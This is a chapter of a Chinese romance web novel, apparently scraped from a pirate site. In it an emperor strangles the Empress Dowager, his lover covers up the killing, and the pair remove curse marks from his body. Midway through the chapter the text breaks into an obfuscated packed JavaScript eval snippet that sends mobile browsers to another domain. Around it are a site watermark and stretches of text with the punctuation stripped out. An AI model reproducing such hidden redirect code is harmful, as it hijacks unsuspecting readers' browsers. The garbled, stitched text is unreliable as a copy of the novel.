【好看**】
皇陵行宫内一处小殿中。
苏蓁蓁打开随身携带的药箱,从里面取出药粉,撒到陆和煦清洗干净的脖子上。
男人肌肤白,那十个被人用指甲抠出来的血痕就变得特别明显。
药粉撒上去产生剧烈的疼痛感,饶是陆和煦都忍不住闷哼一声。
【我就是故意的。】
【疼才长记性。】
虽然心里这样想着,但苏蓁蓁还是轻轻侧身,对着陆和煦的伤口吹了吹。
“疼吗?”
“疼。”
【该。】
“马上就不疼了,这个药见效很快。”
苏蓁蓁的药箱里也有温和类的药品,她挑选的这款虽然上药的时候是最疼的,但见效也是最快的。
上完药,苏蓁蓁又取出绷带,顺着陆和煦的脖子慢慢绕了几圈,最后越想越气,又重重打了一个蝴蝶结。
陆和煦:……
“有点紧,蓁蓁。”
苏蓁蓁低头,闷不吭声的稍微松开一些。
小殿内安静下来,陆和煦的手抚过她的面颊,“你有碰到香灰吗?”
苏蓁蓁摇头,“没有。”
她低着头坐在那里,上半身微微向前,用额头去撞陆和煦的肩膀。
撞了几下,又不生气了,伸出臂膀,将自己牢牢锁进他怀里。
这是一张靠窗的长榻,秋日阳光从窗外照进来,轻柔的落在两人身上。
大抵是因为温度不高,所以陆和煦脖子上的咒文没有出现,因此,更显得他没有被绷带覆盖住的地方青紫的可怖。
那一圈青紫上下延伸,中间最深,两边微浅。
苏蓁蓁仰头,抚了抚他的脖子。
“你是特意带我过来,替你收尸的吗?”
陆和煦抱紧怀里的苏蓁蓁,他将头放在她的头顶上,说话的时候,苏蓁蓁能感觉到一点震动。
“不是,我只是觉得……等我**,你看到太后疯疯癫癫的样子,就会想,我以后也会变成那样,你就不会念着我,也不会想着我了。”
“我被掐死的话,这张脸一定也会变得很难看。”
“到时候,你只要看一眼,就会不喜欢我了。”
苏蓁蓁埋首于陆和煦怀里,“不管你变成什么样,我都喜欢你。”她收紧抱在陆和煦腰间的手,“陆和煦,我们说好,谁也不能先死。”
头顶传来男人温柔的声音,“……好。”
殿内安静下来。
极度情绪之下骤然的平静让苏蓁蓁的身体感觉到极度的疲惫。
陆和煦低头,看到女人抱着他闭上了眼,像是睡着了。
他低头,亲了亲她的额头。
脖颈处的伤口传来密密麻麻的刺痛感。
陆和煦仰头,后颈靠在窗台上。
细碎的秋日阳光从窗棂中照射进来,顺着半开的窗户缝隙,他看到窗外满挂着的黄色符咒。
有些符咒上还挂着铃铛,风一吹,铃铛叮铃作响。
陆和煦跟着闭上眼,与苏蓁蓁一起躺在秋日阳光里。
-
陆和煦睁开眼,阳光刺目,他大抵是睡着了,不过时间不长,日光的强度并没有变换多少。
他低头,看到歪倒在他身上的苏蓁蓁。
陆和煦轻轻抚了抚她的面颊,女人侧了身,抬手遮住眼,应当是嫌弃窗外的阳光太刺眼。
陆和煦抬手关上窗户,轻轻抱住她的头,放到旁边的软枕上,然后又替她披上一件自己的外袍。
小殿内关上了门窗之后,外面的秋风也进不来了。
陆和煦轻手轻脚的起身,步出小殿。
阳光刺眼,他站在日光下,抬头的时候,脖颈处的伤口隐隐作痛。
陆和煦朝前走,踏过半旧的青石板砖,来到主殿。
主殿门口已有锦衣卫把手,厚重的大锁将主殿牢牢锁死。
陆和煦站在那里,吩咐锦衣卫开门。
厚重的大锁被打开,殿门往两边推开一条缝隙,一阵凄厉又尖锐的嚎叫声迎面扑来。
陆和煦站在那里听了一会,都是诅咒他的话。
他的脸上没什么表情,只是抬手,推开了门。
太后被陆和煦一脚踹断了好几根肋骨,行动不便,呼吸的时候都带着痛楚,可她就跟感受不到一样,一直在对着墙骂。
“猪狗不如的东西,活该下地狱去……天地不容,神鬼共弃!”
陆和煦的视线转向那面墙。
雪白的墙面上,全部都用朱砂写满了对他的诅咒。
有大周话,还有藏语。
陆和煦第一次知道,原来他的母后还懂藏语。
那么,她应该早该知道那些刻在他身上的咒文是什么意思了。
“母
后。“男人站在那里,低低开口。
太后听到陆和煦的话,猛地一下转身,她瞪大了眼,表情狰狞,几乎要将他生吞活剥。
“我要杀了你,我要杀
了你!”
太后披头散发疯了一般朝陆和煦扑来男人站在那里没动。
直到太后扑至近前指尖几乎要挠上他的脸陆和煦才抬手。
骨节分明的手一伸精准而狠戾地掐住了她的脖颈力道沉如铁锁直接将太后整个人半提起来。
太后瞬间窒息双目暴凸手脚乱挣却连一丝声音都发不出来。
她的指甲狠狠划过陆和煦的手背却始终掰不开。
陆和煦捏着太后的脖子微阖着眼。
他安静站在那里眸色一片深谙。
太后的脖颈被他掐在掌心只需要轻轻一掰就能取她性命。
陆和煦没有动作。
他既没有杀她也没有放开她。
太后瞪着眼前的男人愤怒冲昏头脑表情越发狰狞“呃呃……我死也不会放过你……你跟那个女人一起……下地狱……”
陆和煦瞳色骤然一缩手下猛地用力。
太后的颈骨发出一声清脆的轻响像枯木被生生折断。
她挣扎的手脚瞬间软了下去双目圆睁气息断绝脸上还僵着半张扭曲狰狞的脸。
陆和煦抬眸看着她软倒在自己掌心到死眼底都带着愤怒的杀意。
他松开手。
太后的身体软倒在地。
陆和煦站在那里指尖仍维持着扼喉的姿势指节泛白。
他缓慢收回手低头看向太后的尸体脑中回荡着她最后那句话。
男人周身气压骤然降低泛起一股森寒戾气比皇陵里层层叠叠的符咒还要阴冷。
-
苏蓁蓁一觉睡醒发现陆和煦小殿内只剩下她一个人陆和煦不知去向。
苏蓁蓁一下起身穿上绣鞋走出寝殿看到守在门口的锦衣卫“陛下去哪了?”
“陛下在主殿。”
去找那个疯太后了?
苏蓁蓁想起刚才太后那个疯癫的样子忍不住提裙朝主殿方向跑去。
主殿距离小殿不远苏蓁蓁跑得气喘吁吁终于来到主殿门口。
主殿门口大开陆和煦一袭素白中衣站在那里后背被阳光照射到的地方隐隐能看出肌肤上透出的咒文痕迹。
苏蓁蓁走上去
她看到陆和煦面前那一面巨大的墙壁上到处都是用朱砂写出来的诅咒之语。
她记得刚才她冲进来救陆和煦的时候这面墙还是干净的。
苏蓁蓁
的视线下移,看到躺在地上,已经失去了生息的太后。
很明显,这些诅咒是她写的。
虽然苏蓁蓁不懂藏语,但她见过陆和煦身上的藏文。
她能认出来,这面墙上大部分藏语居然跟他身上的一模一样。
苏蓁蓁心头猛跳,她走到陆和煦面前,垫脚,伸手遮住他的眼。
“不要看,陆和煦。
男人的视线被遮挡,那些触目惊心的朱砂颜色消失在眼前。
苏蓁蓁用另外一只手将站在那里的陆和煦往外推,“你先出去。
小说</a>的域名caixsü(请来才
小说
看最新章节
完整章节)
陆和煦被推了出去,主殿的大门在他面前被关上。
苏蓁蓁站在殿内,转身看到那些黄色幡布和青铜炉鼎的时候,还是觉得有些阴森可怖。
她深吸一口气,低头,探查太后的脉搏和气息。
**。
苏蓁蓁看到太后脖颈上的掐痕,神色一顿,抬手扯下一片幡布将人盖住。
苏蓁蓁记得陆和煦与她说过,那个国师为他刻画咒文的时候,太后曾来看过。
若太后懂藏文,那必知道这位国师在陆和煦身上留下了多恶毒的咒文。
可为了复活自己的儿子,她选择牺牲陆和煦这个儿子。
隔着这层幡布,苏蓁蓁的声音很轻,眼神逐渐变冷,“太后,希望你入无间热狱、黑绳锯身、炽铁焚骨、熔铜灌喉、日日夜夜,永无解脱……
将这段话念完之后,苏蓁蓁最后用幡步盖上太后的脸,然后她站在原地,盯着看了一会,转身,视线望向那面血色墙壁。
苏蓁蓁左右看了看,看到昨日洒在地上的香火还没收拾。
香火已经不烫手了,苏蓁蓁抓起一把,糊在墙壁上。
那些恶毒的诅咒被香灰蒙住,又被她反复蹭磨,渐渐模糊成一片污浊的暗红,像干涸发黑的血。
不太行。
苏蓁蓁转身,又在主殿内转了一圈,最后看到角落里置着的铜盆内装着一盆清水。
她走过去,端起厚重的铜盆,吃力地走到墙壁前,然后使劲往上一泼。
香灰混着朱砂流淌下来,血红色中混着香灰,蔓延到苏蓁蓁脚边。
她的绣花鞋被水浸湿,素白的鞋面变成氤氲的红。
苏蓁蓁又扯下一面幡布继续擦。
有些地方太高,苏蓁蓁擦不到,她又去搬了殿内的凳子过来踩上去擦。
终于,苏蓁蓁将这面墙擦干净了。
白色的墙壁当然不能完全
复原,只是上面的诅咒没有了。
浅淡的红色漾开在墙上,苏蓁蓁累得手抖。
她转身,推开殿门。
秋日阳光倾泻而入,苏蓁蓁一抬头,就看到了站在主殿门口等她的陆和煦。
男人的神色看着有些不太对劲。
他盯着自己的手,视线又落到苏蓁蓁脸上。
然后隔着她的面庞,看到不远处那面墙壁。
被擦干净了。
苏蓁蓁走到他面前,握住他的手,“太后疯病发作,自己殡天了。
“是我杀的。
苏蓁蓁摇头,又重复了一遍,“太后疯病发作,自己殡天了。
陆和煦明白了苏蓁蓁的意思。
他下意识攥紧她的手,然后又想到什么似得,霍然松开。
苏蓁蓁蹙眉,抓住陆和煦逃跑的手,紧紧攥在掌心。
陆和煦低头看她,声音很轻,“蓁蓁,如果,你被我带着一起下了地狱,该怎么办?
他是一个弑兄,弑母之人。
他会下阿鼻地狱。
苏蓁蓁捧住陆和煦的脸,她垫脚去亲他。
“那我们就一起下地狱去,正好做个伴。
女人的手带着湿润的触感,还有一点脏,上面沾着朱砂和香灰。
陆和煦的脸上被她抹了香灰朱砂,薄薄一个手指印子。
他黯淡的眸色在阳光下逐渐焕发光彩。
苏蓁蓁用指腹替他擦了擦,然后发现越擦越脏。
算了,不擦了。
“好累,你背我走。
刚才苏蓁蓁一路跑来,然后又去收拾主殿内的墙,虽然刚才睡了一觉,但这么长时间了,也没吃东西,感觉都有点低血糖了。
陆和煦背对着她,弯腰。
苏蓁蓁扑到他背上。
陆和煦稳稳地背着苏蓁蓁,走下石阶。
日光越来越暖,两侧秋色笼罩下来,稀疏的阳光斑驳地照在两人身上。
苏蓁蓁用双臂圈住陆和煦的脖子,面颊贴在他的肩膀上。
两侧树上,廊下挂着的那些符咒已经被全部撤下,苏蓁蓁远远看到有锦衣卫押着一些道士往外去。
“这些道士……
“交给锦衣卫处理了。
这些道士都是当年跟着太后一起从金陵避难到此处的。
当时在皇宫里,不知道残害了多少宫女性命。
既然是交给了锦衣卫,那必定会进诏狱,一定不会好过。
苏蓁蓁还记得很久之前有一
个宫女,她叫作王银。
“你还记得有一个宫女叫作王银的吗?
陆和煦不记得了。
除了苏蓁蓁的事,他都不太记得其他的人,那段时间,他的记忆很是混乱。
“就是用自己的身体给太后下毒的那个宫女,当时跟我一起关在诏狱里。我当时还以为她失败了,可刚才替太后收尸的时候发现,太后体内有毒素残留的迹象,跟王银体内的那股毒素很像。
说明王银的毒对太后产生了影响。
可能这也是太后来到皇陵之后,突然疯疯癫癫的原因。
“此事应该是魏恒处理的。顿了顿,陆和煦道:“他心软。
苏蓁蓁明白了陆和煦的意思,忍不住弯了弯唇。
她微微偏头,视线一动,就能看到男人脖颈处的肌肤上,那些斑驳的咒文。
苏蓁蓁伸出手,指尖的香火抹过咒文,轻轻擦了擦。
嗯?
等一下。
苏蓁蓁突然瞪大眼,她看着那点被她擦拭掉的咒文痕迹,不敢眨眼,生恐是幻觉。
她深吸一口气,又用指腹用力搓了搓。
“蓁蓁,好疼。
“你别动。
苏蓁蓁一把按住陆和煦的脑袋,然后又使劲对着他的脖子擦拭。
有用?
居然是香灰!
苏蓁蓁脸上露出笑来,笑着笑着,她又哭了。
她紧紧勒住陆和煦的脖子,又哭又笑。
“陆和煦,是香灰,是香灰!
“蓁蓁,我喘不上气……
“哦。
-
小殿内,锦衣卫端来数个炭盆。
门窗只开一条缝透气,避免炭火**。
炭火烧得旺盛,殿内的温度急速上升,陆和煦身上的中衣浸出薄汗。
锦衣卫守在门口,陆和煦背对着苏蓁蓁,褪下身上的衣服。
男人长得很高
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17308980|198739||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,身形修长却不单薄,肩宽腰窄,线条漂亮。
他抬手,用猫耳金簪将长发挽起,露出完整的后背线条。
虽然苏蓁蓁已经见过陆和煦后背处的咒文了,但再次看到这从脖颈到脚踝处的咒文,还是觉得心疼。
长榻上置着一张小案,案上放着一个香炉。
里面已经烧了半炉香了。
苏蓁蓁用指尖试了一个温度,香灰滚烫,还不能使用。
她就坐在榻上,盯着陆和煦看。
男人站在那里,微微偏头,“好了吗?蓁蓁。
苏蓁
蓁摇头“没有。”
啊
也不见他锻炼呀。
难道是天赋异禀?
腰线原来真的是收进去的。
大腿看起来好结实。
小腿线条也很漂亮。
“蓁蓁你流口水了。”
苏蓁蓁下意识伸手去擦自己的嘴角然后发现什么都没有。
苏蓁蓁:……
陆和煦走过来双手撑在长榻上正将她圈在臂膀中。
“好看吗?”
“不好看。”
【好看**。】
陆和煦俯身过来亲她。
面颊蹭过她的脸湿漉漉的。
都是他的汗。
小殿内太热不只是陆和煦就连苏蓁蓁都出汗了。
她身上还穿着秋日的小袄。
陆和煦屈起膝盖上榻抵在长榻边沿。
“蓁蓁。”他低低唤她的名字修长的身形压过来。
两人许久没有亲近。
香炉还在烧淡淡的香灰味道飘过来。
陆和煦贴着苏蓁蓁的唇瓣指腹擦过她沾着香汗的鬓角“我帮你蓁蓁。”
秋日小袄被褪下露出里面略显单薄的中衣。
浅淡的月白中衣下是颜色更淡的小衣。
陆和煦低头咬住小衣带子轻轻扯开。
【谁要你帮了。】
“不是给你抹香灰吗?”
苏蓁蓁按住自己的小衣将人推到榻上。
“嗯……”
陆和煦发出低低的喘息声他的眸色变得嫣红湿漉漉地落到苏蓁蓁脸上。
苏蓁蓁呼吸一窒。
【也不是不行。】
“听到”这句话陆和煦迅速单手将人压到身上。
“香灰烧好了。”
苏蓁蓁仰头看他声音很轻。
“可是我很不舒服蓁蓁。”
陆和煦亲着她的面颊从面颊到鬓角再到额头。
苏蓁蓁感觉自己的脸上不只是自己的汗。
陆和煦的指腹擦过苏蓁蓁的唇角眼神与她对上。
苏蓁蓁不知道陆和煦哪里学来的这些东西分明她才是一个现代人。
她的知识储备量居然还没有他多!
-
皇陵行宫内是有厨房的。
厨房二十四小时备着热水。
锦衣卫将浴桶抬进来后悄无声息地退出去。
陆和煦抱着苏蓁蓁泡进浴桶内。
浴桶里的水满溢出来苏蓁蓁喉咙很痛她趴在浴桶
边缘不想说话,只用一双湿润润的眼瞪着陆和煦。
“对不起,蓁蓁,我没有控制好。陆和煦贴上来,抱着她,“下次我帮你弄。
“香灰,烧好了吗?苏蓁蓁开口,嗓子果然哑了。
唇角微红,很疼,有些肿。
陆和煦歪头看了一眼,“好了。
香炉上的香已经烧完了。
“你去拿过来。
陆和煦起身出了浴桶。
苏蓁蓁也出来了。
她擦拭干净身体,牵着陆和煦的手坐到榻上。
屋内点了几盏灯,光色氤氲罩下来,居然已经天黑了。
苏蓁蓁用手指沾了一点香灰,细细从陆和煦脖颈上划过。
被热气熏出来的咒文在香灰的擦拭下,颜色从深沉的黑缓慢变成浅淡的灰色,最后消失。
陆和煦的咒文从脖颈到脚踝。
苏蓁蓁细细替他全部涂抹了一遍,然后又用湿帕子替他擦拭干净。
那些狰狞可怖的咒文终于消失,只剩下一身漂亮的冷白皮,在光线的照耀下浸出一股莹润之色。
苏蓁蓁握着手里的帕子,忍不住又红了眼眶。
陆和煦趴在长榻上看她,眉眼被灯色浸润,显出一股温柔之色。
苏蓁蓁的指腹擦过他的背脊,抚到突出的蝴蝶骨。
顺着背脊往下,压到腰线。
咒文一点都不剩了。
苏蓁蓁为陆和煦感到开心。
“陆和煦,你自由了。
男人抬手,擦过她湿润的眉眼,他声音温柔的回应,“嗯。
-
在皇陵将那些道士处理完毕之后,陆和煦直接将太后的尸体放在了皇陵进行下葬。
百官缟素前来祭拜,哀乐低回,钟鼓齐喑,皇陵内一派国丧的沉肃死寂。
忙碌一日,陆和煦回到小殿内休息。
苏蓁蓁一人坐在廊下,周围哀乐未歇。
突然,身后有什么东西掉下来。
她转身低头,看到一个小拇指大小的竹筒。
苏蓁蓁弯腰,将竹筒捡起来,看到里面有一张卷起的纸。
随后,她眼前一花,有一道人影落到她面前。
苏蓁蓁眨了眨眼,仔细辨认,努力回想,“你是……影壹?
影壹点头。
“你找我有事?
影壹左右环顾,没有看到陆和煦,便上前来。
他脸上抹着黑,只露出一双略白的眼,朝苏蓁蓁伸出手。
“这是你的
?”苏蓁蓁晃了晃手里的竹筒。
影壹继续点头。
他按照陛下的命令挂在廊下的梁上保护这位女子
苏蓁蓁抬手还给他。
影壹站在那里没有动“你没有兴趣吗?”
什么兴趣?
苏蓁蓁不解。
影壹道:“好奇心。”
苏蓁蓁:……开玩笑好奇心是会杀**的。
“你可以看看。”影壹的声音压得很低他的视线不由自主的往小殿内瞥。
苏蓁蓁注意到他的小动作。
因为影壹的脸全部都涂黑了所以他的眼神变化就显得格外明显。
他在怕陆和煦知道?
难道真有什么秘密?
哦是故意掉下来给她捡到的。
苏蓁蓁拆开密信。
里面是陆和煦的字迹。
“若朕伤她必杀朕之。”
苏蓁蓁攥着密信久久无言。
“暗卫是不能……伤害陛下的可这又是陛下的命令……”
影壹的视线开始游移“陛下说不照做的话就杀了我们。”
苏蓁蓁收好这封密信“放心他不会伤害我的你们性命无忧。”
女人水眸盈盈望向影壹的视线中包含着对这位陛下的绝对信任。
苏蓁蓁转身进入小殿。
殿内陆和煦还没醒。
他躺在榻上身上穿着单薄的衣物殿内的炭盆还没熄灭温度很舒服。
苏蓁蓁走过去拉开陆和煦的臂膀将自己放到他怀里然后再用他的臂膀将自己圈住。